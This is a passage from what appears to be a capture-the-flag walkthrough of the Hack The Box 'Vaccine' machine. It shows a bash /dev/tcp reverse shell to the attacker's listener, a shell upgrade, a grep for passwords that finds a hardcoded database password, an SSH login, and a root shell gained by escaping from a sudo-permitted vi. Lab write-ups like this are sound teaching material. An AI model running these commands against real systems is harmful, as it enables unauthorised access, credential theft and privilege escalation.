so we strive for a better one by launching a reverse shell back to our local machine.
First we start our listener on our local machine.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/Desktop]
└──╼ [★]$ nc -lvnp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Then we run our reverse shell on the target machine.
os-shell> bash -c 'bash -i >& /dev/tcp/10.10.14.12/4444 0>&1'
do you want to retrieve the command standard output? [Y/n/a] Y
[04:56:46] [WARNING] turning off pre-connect mechanism because of connection reset(s)
[04:56:46] [CRITICAL] connection reset to the target URL. sqlmap is going to retry the request(s)
If we did everything right, we catch a connection back on our listener.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/Desktop]
└──╼ [★]$ nc -lvnp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.94.247.
Ncat: Connection from 10.129.94.247:52230.
bash: cannot set terminal process group (4499): Inappropriate ioctl for device
bash: no job control in this shell
postgres@vaccine:/var/lib/postgresql/11/main$
Sadly, this connection (again) seems a little bit shabby, so we 'upgrade' it.
postgres@vaccine:/var/lib/postgresql/11/main$ which python3
which python3
/usr/bin/python3
postgres@vaccine:/var/lib/postgresql/11/main$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<in$ python3 -c 'import pty; pty.spawn("/bin/bash")'
postgres@vaccine:/var/lib/postgresql/11/main$ export TERM=xterm
export TERM=xterm
postgres@vaccine:/var/lib/postgresql/11/main$ ^Z
[1]+ Stopped nc -lvnp 4444
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/Desktop]
└──╼ [★]$ stty raw -echo; fg
nc -lvnp 4444
postgres@vaccine:/var/lib/postgresql/11/main$
Now that we have a stable and nice interactive shell we can take a better look at our surroundings. Traversing two directories up will get us the user flag.
postgres@vaccine:/var/lib/postgresql$ ls -hla
total 24K
drwxr-xr-x 5 postgres postgres 4.0K Oct 11 2021 .
drwxr-xr-x 39 root root 4.0K Jul 23 2021 ..
drwxr-xr-x 3 postgres postgres 4.0K Jul 23 2021 11
lrwxrwxrwx 1 root root 9 Feb 4 2020 .bash_history -> /dev/null
drwxrwxr-x 3 postgres postgres 4.0K Jul 23 2021 .local
lrwxrwxrwx 1 root root 9 Feb 4 2020 .psql_history -> /dev/null
drwx------ 2 postgres postgres 4.0K Jul 23 2021 .ssh
-r-------- 1 postgres postgres 33 Oct 11 2021 user.txt
postgres@vaccine:/var/lib/postgresql$ cat user.txt
<flag>
postgres@vaccine:/var/lib/postgresql$
That’s nice, but even with this ‘upgraded’ shell our connection will time out and break down after a few minutes. With this issue in mind, we set out to search for any leftover and leaked credentials which we could then use for an ssh connection.
We get lucky when we search the directory where the webpage is installed.
postgres@vaccine:/var/www/html$ grep -i passw* *
dashboard.php: $conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
index.php: if(isset($_POST['username']) && isset($_POST['password'])) {
index.php: if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
index.php: <label for="login__password"><svg class="icon"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#lock"></use></svg><span class="hidden">Password</span></label>
index.php: <input id="login__password" type="password" name="password" class="form__input" placeholder="Password" required>
style.css:.form input[type='password'],
style.css:.login input[type='password'],
style.css:.login input[type='password'],
style.css:.login input[type='password']:focus,
style.css:.login input[type='password']:hover,
postgres@vaccine:/var/www/html$
Using the credentials found in - dashboard.php -
credentials found in dashboard.php | |
---|---|
username | postgres |
password | P@s5w0rd! |
we try to initiate and ssh connection to our target.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ ssh postgres@$rhost
The authenticity of host '10.129.94.247 (10.129.94.247)' can't be established.
ECDSA key fingerprint is SHA256:eVsQ4RXbKR9eOZaXSlMmyuKTDOQ39NAb4vD+GOegBvk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.94.247' (ECDSA) to the list of known hosts.
postgres@10.129.94.247's password:
Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-64-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu 18 May 2023 04:20:13 AM UTC
System load: 0.0 Processes: 185
Usage of /: 32.6% of 8.73GB Users logged in: 0
Memory usage: 20% IP address for ens160: 10.129.94.247
Swap usage: 0%
0 updates can be installed immediately.
0 of these updates are security updates.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
postgres@vaccine:~$
--os-shell
TASK 7
Question: What program can the postgres user run as root using sudo?
We can use the -l option in the sudo command to list the current user’s privileges or to check a specific command.
postgres@vaccine:~$ id
uid=111(postgres) gid=117(postgres) groups=117(postgres),116(ssl-cert)
postgres@vaccine:~$ sudo -l
[sudo] password for postgres:
Matching Defaults entries for postgres on vaccine:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR
XFILESEARCHPATH XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
mail_badpass
User postgres may run the following commands on vaccine:
(ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
postgres@vaccine:~$
vi
SUBMIT FLAG
Question: Submit user flag
The user flag was already aquired during TASK6.
flag
SUBMIT FLAG
Question: Submit root flag
Using the connection from TASK6 and building on the information we found in TASK7, all that’s left for us is to first somehow escape the vi environment and then to spawn a root shell.
So we run the aforementioned command (sudo -l output in TASK7) as root
postgres@vaccine:~$ sudo -u root /bin/vi /etc/postgresql/11/main/pg_hba.conf
and use the following commands inside vi to spawn a root shell:
:set shell=/bin/bash
:shell
Once we have the root shell, the finaly touch is simply locating and grabbing the root flag.
root@vaccine:/# cd root
root@vaccine:~# ls -hla
total 52K
drwx------ 7 root root 4.0K May 18 04:49 .
drwxr-xr-x 20 root root 4.0K Oct 11 2021 ..
lrwxrwxrwx 1 root root 9 Feb 4 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3.1K Aug 27 2019 .bashrc
drwx------ 2 root root 4.0K Jul 23 2021 .cache
drwx------ 3 root root 4.0K Jul 23 2021 .gnupg
drwxr-xr-x 3 root root 4.0K Jul 23 2021 .local
-rw-r--r-- 1 root root 148 Aug 27 2019 .profile
drwx------ 2 root root 4.0K Jul 23 2021 .ssh
-rw------- 1 root root 828 May 18 04:49 .viminfo
-rw-r----- 1 root root 4.6K Feb 4 2020 pg_hba.conf
-rw------- 1 root root 33 Feb 25 2020 root.txt
drwxr-xr-x 3 root root 4.0K Jul 23 2021 snap
root@vaccine:~# cat root.txt
<flag>
root@vaccine:~#
flag
Congratulations, we just successfully pwned the target machine. All we have left to do now is to terminate the target box (if not terminated automatically) before we continue with the next box!